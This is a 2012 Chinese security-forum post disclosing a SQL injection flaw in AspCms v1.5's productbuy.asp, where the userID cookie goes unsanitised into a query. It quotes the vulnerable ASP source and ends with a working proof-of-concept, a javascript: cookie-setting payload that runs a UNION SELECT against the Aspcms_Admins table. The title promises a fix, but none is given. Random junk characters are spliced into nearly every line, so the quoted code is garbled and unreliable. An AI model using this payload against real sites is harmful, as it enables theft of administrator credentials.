找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2184|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
- v2 e) S' k; y! q3 z也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
4 G1 T; g: m$ ^( i/ x, j8 q废话不多说,看代码:' V: P( Q# f4 b4 c

- \: g+ n! ]6 v/ a<%
  X  E, W3 Y% t9 ~
: Q0 v) Q! V4 iif action = "buy" then
- x2 d7 ?; ?6 P: A. q+ G! \& I) U( Z
        addOrder()' _7 i" r% _2 B- {
/ O; X) C, p. q) }  {/ G
else
" G6 k' v& t7 Z
, Z9 |- X+ N  o$ }        echoContent()
8 N8 A# Q7 s( t% a
$ k5 ?. F6 o' P. h& mend if
- q2 d7 M& X; J* q, q0 k% q. `/ c% n2 q1 T

3 G( C$ D. [' u( Y* N: R! b9 }& {; b
+ S: X6 L4 o' W- m3 l5 c……略过
4 @7 z; y9 T/ E* A# q/ K9 }
( y; q3 i/ `* K' i+ i0 e
6 O+ u$ e& }9 a8 P
" z1 M2 o9 }/ `Sub echoContent()
1 ~+ L' |: @4 F" T6 _
6 h0 F7 {, z& o        dim id
+ v) M6 W& `9 d4 Z8 y5 _) C1 [7 e: E" Y) e0 Y: s# \& Q8 L
        id=getForm("id","get")2 c9 I2 t8 D1 ^# T' q

% S8 {6 U* m& {) b2 R" b        
( z7 g% Y! Y( n. Q& ^
3 }9 O9 V6 o: k3 A6 B        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
3 r7 f" p. j6 v9 u
& \2 J' O1 L8 `: r0 |( \, j        
5 K3 m" f, j: w( [6 K* T6 X& Q; ]
' n* V  x9 e- O$ w* f2 q' K3 s0 F        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) M) I. M0 c" q& E/ [" y3 `2 b- G1 w
9 r1 c* Y5 o. A% Y: r        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
  N- y9 O6 ~1 G. C- W, W, S" G
! Z) T5 ?1 w/ T! C: Q+ k        Dim templatePath,tempStr
, I: ]/ n# U5 g: e5 w( |; T4 h9 U% \  m
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
# }% Z' e" r( x; C" K7 C' y, k: p" M" D# I$ {

$ a3 ^) n6 n% i& H4 [
8 B8 P3 O& n' i        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
  F/ M& \1 i. I; v2 M, z6 W: H9 k0 S1 q# Q; o4 N6 Y# m
        selectproduct=rsObj(0)
2 R4 @7 Q7 x* ?
+ b) C! x9 {" z3 p  M( [        7 G3 j  Z8 d6 P' m$ I. B+ E7 ^
8 r" G' o' O0 N3 u
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
  l: m7 B' ]- z5 {! N. O# q% k& D: U3 O
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0: ~% R4 b8 g# P6 H

) w  B" C4 U# j7 f6 ?        if rCookie("loginstatus")=1 then  3 c# x0 b) S- L6 \# |! H

& P( U  O+ R4 T                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
  v. x1 h5 J6 y' w$ W3 n' O0 u: s  F# c5 P0 r9 J7 M" ~1 D- Q
                linkman=rsObj("truename")
! g# u7 b4 A2 p4 c! ]/ f0 J& e: q; |- x  q4 ]9 r5 E. |
                gender=rsObj("gender")
$ x% [. U5 A7 M& y' z, {" Z% s
& h- {5 R% o, P  ^- q# _: k4 j                phone=rsObj("phone")+ v/ I+ ~; C, N1 g6 B
9 I& z) u, N6 b" V1 v* G1 l* r7 [9 |
                mobile=rsObj("mobile")
. Q1 p6 _+ ~- B! G  ~
1 o6 L' U/ _4 g: I6 m# I* {9 b                email=rsObj("email")
/ r& K- q8 u2 a; A9 E7 J
+ |/ [2 s" L# |) X7 K/ R# S* |                qq=rsObj("qq")
4 L) Y. R% T. m3 M* L$ ^( t. j' v! Y2 O
                address=rsObj("address")
9 R1 o/ d* s' t+ b& f* |) Y( ^7 u' m6 ^$ F- m
                postcode=rsObj("postcode")7 N4 K2 n, {* G: l# [* A' z

0 D' Y0 l. \2 }        else $ U) s* O! t# G- _+ N$ u2 e
2 Y  e5 }3 M% ]4 |) F
                gender=13 D3 Y# _3 r& C4 e

0 z6 j$ \6 f% {        end if8 k$ g# F1 }3 Q4 S

8 N8 ?9 F( d  t/ A' p* F6 x        rsObj.close()
( h( J" X( b& }# g9 _
( x2 O0 {+ {5 ^" H' x4 {- Y: p5 |               
: K+ n7 j8 b4 O; ?8 {5 l& s# F# w
3 C' k# I" m( S1 h5 P4 I        with templateObj
& Q- o. s6 }9 R4 ]/ W- i- ~* ~$ s& M; [& C- ]2 y3 `$ q3 g
                .content=loadFile(templatePath)        
4 U" G% B! o  L4 o9 X2 M9 e
2 m' K8 \" E* H3 P                .parseHtml()* v# F" I' q, d$ w

, s/ t3 T7 ?" s5 x) ~* I                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)- m9 g' N/ _/ F  l5 y0 i( E8 b. _6 h
! W- l; R& D* n7 b) t. x" u4 p
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                6 _% r" E$ {# y

" ]; L7 l% A/ L2 N                .content=replaceStr(.content,"[aspcms:gender]",gender)               
6 ]% Q% ?: v# j" I8 }) y: D! E; o1 r
% n3 N3 x, t( x8 I  ^                .content=replaceStr(.content,"[aspcms:phone]",phone)               
( r: I1 q! S1 o
" h7 ^/ q% }9 n. k3 O9 T/ W                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                % r  C6 ^/ [& o

2 V0 k1 W5 R* ~. B                .content=replaceStr(.content,"[aspcms:email]",email)                        
+ S: V; g' e. F8 m7 ], h
- Z: X% J( ~4 R' g" Q                .content=replaceStr(.content,"[aspcms:qq]",qq)                        8 {7 J2 ?1 O: |4 ~, ~
  e+ @  P0 v6 w) v! F+ ^6 w+ {
                .content=replaceStr(.content,"[aspcms:address]",address)                        : Z9 _; k" c$ Q  f9 k, O) B+ Y
, n* _( [0 T- X6 s8 D/ S
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
7 d+ X. j- N1 E! E( P) I. f
1 Z2 ?" k* X( t4 Y# o/ X& F8 ^                .parseCommon()                 
& q0 D  r- H+ e( \2 Y/ P) J3 K& @. w9 b0 |; Q+ q+ u
                echo .content ; W' j" P  f3 L+ M4 B
/ Y1 J; a6 z9 |( [3 O3 L! X! T7 A" R
        end with4 m- ^% T7 `5 h7 F( C+ y0 W4 g

9 v+ Y, T; W' b; B( b; y        set templateobj =nothing : terminateAllObjects
0 q% N5 x7 G3 R" X* Q# c- }! C9 n! {1 l8 k' z3 E# ]
End Sub% o0 e" a' U( _# d8 o& U
漏洞很明显,没啥好说的
- _% [7 A8 ?5 A9 T& M" L5 Tpoc:
1 L, ]* m3 N; L6 C3 r0 _9 T, \7 x7 `+ A6 A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​* ~* [. B9 d9 [4 `  O# Q

1 [1 ~* I" U# C& f4 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表